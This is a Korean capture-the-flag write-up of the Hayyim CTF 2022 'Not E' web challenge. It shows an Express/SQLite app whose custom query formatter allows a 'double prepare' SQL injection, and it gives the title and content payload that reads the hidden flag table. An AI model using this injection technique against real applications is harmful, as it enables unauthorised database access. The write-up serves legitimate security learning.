Home
System Hacking
🛖

Not E writeup

Type
CTF
년도
2022
Name
Hayyim CTF
분야
WEB
세부분야
SQL Injection
Double prepare
2022/02/13 16:59
점수
100점대
1 more property

풀이 사전 지식

+ SQL Injection
Double prepare

# Problem

# Login Page

# Main Page

# Create Page

# List Page

# Source Code

not_e.tgz
3.2KB

# app.js

const crypto = require('crypto'); const express = require('express'); const session = require('express-session'); const bodyParser = require('body-parser'); const { Database, md5, checkParam } = require('./utils'); const app = express(); const db = new Database(':memory:'); app.set('view engine', 'ejs') app.use(bodyParser.urlencoded({ extended: false })); app.use(session({ secret: crypto.randomBytes(32).toString() })); app.all('/login', async (req, res) => { if (req.method !== 'POST') { return res.render('login'); } const { username, password } = req.body; if (!checkParam(username) || !checkParam(password)) { return res.redirect('?message=invalid argument'); } const result = await db.get('select username, password from members where username = ?', [ username ]); if (!result) { await db.run('insert into members values (?, ?)', [ username, md5(password) ]); } else if (result.password !== md5(password)) { return res.redirect('?message=incorrect password'); } req.session.login = username; res.redirect('/'); }); app.use((req, res, next) => { if (!req.session.login) { res.redirect('/login'); } next(); }); app.use('/logout', (req, res) => { delete req.session.login; res.redirect('/login'); }); app.get('/', async (req, res) => { const notes = await db.getAll('select * from posts where owner = ?', [ req.session.login ]); res.render('list', { notes, auth: true }); }); app.all('/new', async (req, res) => { if (req.method !== 'POST') { return res.render('new', { auth: true }); } const { title, content } = req.body; if (!checkParam(title) || !checkParam(content)) { return res.redirect('?message=invalid argument'); } const noteId = md5(title + content); await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]); return res.redirect('/?message=successfully created'); }); app.get('/view/:noteId', async (req, res) => { const { noteId } = req.params; const note = await db.get('select * from posts where id = ?', [ noteId ]); if (!note) { return res.redirect('/?message=invalid note'); } res.render('view', { note, auth: true }); }); app.listen(1000);
JavaScript
복사

# utils.js

const sqlite3 = require('sqlite3'); const flag = require('fs').readFileSync('/flag').toString(); class Database { constructor(filename) { this.db = new sqlite3.Database(filename); this.db.serialize(() => { this.run('create table members (username text, password text)'); this.run('create table posts (id text, title text, content text, owner text)'); this.run('create table flag (flag text)'); this.run('insert into flag values (?)', [ flag ]); }); } run(...params) { return new Promise((resolve) => { this.db.serialize(() => { this.db.run(this.#formatQuery(...params), (_, res) => { resolve(res); }); }); }); } get(...params) { return new Promise((resolve) => { this.db.serialize(() => { this.db.get(this.#formatQuery(...params), (_, res) => { resolve(res); }); }); }); } getAll(...params) { return new Promise((resolve) => { this.db.serialize(() => { this.db.all(this.#formatQuery(...params), (_, res) => { resolve(res); }); }); }); } #formatQuery(sql, params = []) { for (const param of params) { if (typeof param === 'number') { sql = sql.replace('?', param); } else if (typeof param === 'string') { sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, ''))); } else { sql = sql.replace('?', ""); // unreachable } } return sql; }; } const checkParam = (param) => { if (typeof param !== 'string' || param.length === 0 || param.length > 256) { return false; } return true; }; module.exports = { Database, checkParam, md5: require('md5') };
JavaScript
복사
소스코드를 확인해보면 flag tableflag가 저장된 것을 확인할 수 있으며 SQL Injection 문제임을 확인할 수 있습니다.

# Attack Vector

## SQL Injection

# prepared statement

new
app.all('/new', async (req, res) => { if (req.method !== 'POST') { return res.render('new', { auth: true }); } const { title, content } = req.body; // console.log("title : ", title, "content : ", content); // console.log('title type', typeof(title), 'content type', typeof(content)); if (!checkParam(title) || !checkParam(content)) { return res.redirect('?message=invalid argument'); } const noteId = md5(title + content); //insert into posts values (?, ?, select) await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]); return res.redirect('/?message=successfully created'); });
JavaScript
복사
?prepared statement를 사용하는 것을 확인할 수 있습니다.
formatQuery
#formatQuery(sql, params = []) { console.log(params); for (const param of params) { if (typeof param === 'number') { sql = sql.replace('?', param); } else if (typeof param === 'string') { sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, ''))); } else { sql = sql.replace('?', ""); // unreachable } } console.log("SQL ",sql); return sql; };
JavaScript
복사
db.run 코드를 분석하면 formatQuery를 이용해여 자체 구현한 prepared statement를 사용하는 것을 확인할 수 있습니다.

# Debug Mode

utils.js를 아래와 같이 수정합니다.
const sqlite3 = require('sqlite3'); const flag = require('fs').readFileSync('/flag').toString(); class Database { constructor(filename) { this.db = new sqlite3.Database(filename); this.db.serialize(() => { this.run('create table members (username text, password text)'); this.run('create table posts (id text, title text, content text, owner text)'); this.run('create table flag (flag text)'); this.run('insert into flag values (?)', [ flag ]); //select flag from flag; }); } run(...params) { return new Promise((resolve) => { this.db.serialize(() => { this.db.run(this.#formatQuery(...params), (_, res) => { resolve(res); console.log("RUN : ",res); }); }); }); } get(...params) { return new Promise((resolve) => { this.db.serialize(() => { this.db.get(this.#formatQuery(...params), (_, res) => { resolve(res); //console.log("GET : ",res); }); }); }); } getAll(...params) { return new Promise((resolve) => { this.db.serialize(() => { this.db.all(this.#formatQuery(...params), (_, res) => { resolve(res); //console.log("GETALL : ", res); }); }); }); } #formatQuery(sql, params = []) { console.log(params); for (const param of params) { if (typeof param === 'number') { sql = sql.replace('?', param); } else if (typeof param === 'string') { sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, ''))); } else { sql = sql.replace('?', ""); // unreachable } } console.log("SQL ",sql); return sql; }; } const checkParam = (param) => { if (typeof param !== 'string' || param.length === 0 || param.length > 256) { return false; } return true; }; module.exports = { Database, checkParam, md5: require('md5') };
JavaScript
복사
이후 아래의 명령어를 입력하여 docker를 시작합니다.
docker compose up
JavaScript
복사
이후 test, 1234를 입력하면 아래와 같이 Debug Message를 확인할 수 있습니다.

# Double prepare

Title?를 입력할 경우 아래와 같은 결과를 확인할 수 있습니다.
위 결과를 바탕으로 Payload를 작성할 수 있습니다.

# Exploit

# Payload

Title : 1 Content : , (select flag from flag),'{id}')--
Plain Text
복사

# Flag

hsctf{038d083216a920c589917b898f
Plain Text
복사